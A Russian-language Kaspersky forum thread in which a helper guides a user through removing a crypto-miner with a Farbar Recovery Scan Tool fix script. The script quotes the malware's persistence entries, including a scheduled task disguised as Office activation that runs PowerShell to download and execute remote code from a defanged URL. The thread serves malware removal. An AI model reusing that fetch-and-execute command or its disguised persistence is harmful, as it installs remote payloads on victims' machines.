[РЕШЕНО] Обнауржен вирус CAAServieces.exe

[Ferri]

Доброго времени суток.

Столкнулась с проблемой майнер CAAServieces.exe. Начала искать способы по отключению, удалению вируса. Отключить отключила, Из реестра удалила, Удалила. Провела несколько проверок через антивирусы - чисто. Только при перезагрузке и некоторого времени (1-2 минуты) создается снова папка и файл с вирусом (но не запускается) по расположению: C:\ProgramData\CAAService.

Прикладываю проверку с KVRT и AutoLogger.

Найдя на форуме такую же проблему - уже решённую ранее - прикрепляю логи из FRST64

CollectionLog-2025.07.19-02.48.zip Addition.txt FRST.txt

[thyrex]

Здравствуйте.

1. Выделите следующий код и скопируйте в буфер обмена (правая кнопка мыши – Копировать)

Start::
CreateRestorePoint:
HKLM\...\Run: [CAA Service] => C:\ProgramData\CAAService\CAAServices.exe (Нет файла)
Task: {5A611B79-55B4-4E61-BF10-E056850633C2} - System32\Tasks\Microsoft\Office\Office Persistent Activation => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2025-03-12] (Microsoft Windows -> Microsoft Corporation) -> -Command "irm hxxps://activate.techias.co.uk/ | iex" <==== ВНИМАНИЕ
Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe  (Нет файла)
Folder: C:\ProgramData\CAAService
2025-07-19 01:27 - 2025-07-19 01:57 - 000000000 ____D C:\ProgramData\CAAService
FirewallRules: [{aa9a8062-fb22-4510-be21-0dbe26e8598d}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{56e01aad-2709-49f1-b029-c3e5f5c5494e}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{454e207d-542c-47f9-94ea-cd58f66d7756}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{f4eaacfd-6b8f-4145-b697-6a46085da34b}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{0d13204a-8c8d-444a-a517-620c0705a12b}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{752ca4cc-7a11-457c-8686-dfe3db5d9fee}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{2b1d893f-1357-495b-9e67-a2eae1db27bd}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{1edc3c4e-dfc2-4576-a6dc-7424003c2032}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{099255c8-c4bf-476e-b69f-836716d70fd0}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{e8cb1544-6ec8-4df2-ae31-8027b3995c0a}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{840c6b1f-7635-4c45-88bc-f616e29ef7cf}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{71f2e40a-3c7f-4319-befc-f64147857391}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{f6623a94-cb98-4e82-a385-16a498ebc0f6}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
FirewallRules: [{fc1329f8-41df-464c-a710-f20bfdf2914a}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
Reboot:
End::

2. Запустите Farbar Recovery Scan Tool от имени Администратора по правой кнопке мыши.
3. Нажмите один раз на кнопку Fix (Исправить) и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание: будет выполнена перезагрузка компьютера.

 

[Ferri]

Fixlog.txt

[thyrex]

Проблема решена?

[Ferri]

да, спасибо

 

[thyrex]

Загрузите SecurityCheck by glax24 & Severnyj и сохраните архив на Рабочем столе.

• Разархивируйте, запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/10/11);
• Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу;
• Дождитесь окончания сканирования, откроется лог в Блокноте с именем SecurityCheck.txt;
• Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt;
• Прикрепите этот файл в своем следующем сообщении.

 

[Ferri]

SecurityCheck.txt

[thyrex]

По возможности исправьте:

 

AMD Software v.25.6.1 Внимание! Скачать обновления
WinSCP 6.3.5 v.6.3.5 Внимание! Скачать обновления
Microsoft OneDrive v.25.115.0615.0002 Внимание! Скачать обновления
Discord v.1.0.9175 Внимание! Скачать обновления
qBittorrent v.5.0.4 Внимание! Скачать обновления
K-Lite Mega Codec Pack 18.8.5 v.18.8.5 Внимание! Скачать обновления
Yandex v.25.6.2.425 Внимание! Скачать обновления
^Проверьте обновления через меню Дополнительно - О браузере Yandex!^

---------------------------- [ UnwantedApps ] -----------------------------
Кнопки сервисов Яндекса на панели задач v.3.7.9.0 Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов. Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
 

На этом закончим.

[thyrex]

Мы были рады Вам помочь! Надеемся, что Вы остались довольны результатом. На нашем форуме также можно получить компьютерную помощь, помощь по продуктам "Лаборатории Касперкого", обсудить технологии и технику, заказать эксклюзивную сувенирную продукцию "Лаборатории Касперского" бесплатно! Форумчане ежегодно путешествуют. В числе приглашенных в Турцию, Армению, Сочи, Камбоджу можете быть и Вы! Будем рады видеть Вас в наших рядах! Всегда ваш, клуб "Лаборатории Касперского".